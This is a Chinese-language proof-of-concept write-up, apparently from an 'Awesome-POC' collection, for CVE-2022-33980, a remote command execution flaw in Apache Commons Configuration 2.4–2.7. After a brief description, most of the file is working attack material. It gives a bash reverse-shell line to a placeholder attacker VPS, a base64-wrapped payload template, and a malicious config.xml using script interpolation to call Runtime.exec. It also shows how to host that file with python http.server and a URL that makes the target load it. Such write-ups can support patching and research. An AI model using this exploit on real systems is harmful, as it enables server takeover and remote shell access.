Awesome-POC/开发框架漏洞/Apache Commons Configuration 远程命令执行漏洞 CVE-2022-33980.md
2024-11-06 14:10:36 +08:00

46 lines
1.2 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Apache Commons Configuration 远程命令执行漏洞 CVE-2022-33980
## 漏洞描述
Apache Commons Configuration 是 Apache 基金会下的一个开源项目组件。它提供了一种通用的方式,让 Java 开发者可以使用统一的接口读取不同类型的配置文件。
该漏洞是由于 Apache Commons Configuration 提供的 Configuration 变量解释功能存在缺陷,攻击者可利用该漏洞在特定情况下,构造恶意数据执行远程代码。
## 漏洞影响
```
2.4 <= Apache Commons Configuration <=2.7
```
## 漏洞复现
java payload
```
# bash -i >& /dev/tcp/your-vps-ip/port 0>&1
bash -c {echo,<YOUR_PAYLOAD_HERE>}|{base64,-d}|{bash,-i}
```
config.xml
```
<?xml version="1.0" encoding="ISO-8859-1" ?>
<configuration>
<path>${script:js:java.lang.Runtime.getRuntime().exec("bash -c {echo,<YOUR_PAYLOAD_HERE>}|{base64,-d}|{bash,-i}")}</path>
</configuration>
```
vps 开启 8888 端口托管 config.xml
```
python -m http.server 8888
```
poc
```
http://vuln-ip/Url?url=http://your-vps-ip:8888/config.xml&data=path
```
![](images/Apache%20Commons%20Configuration%20远程命令执行漏洞%20CVE-2022-33980/image-20240126181851899.png)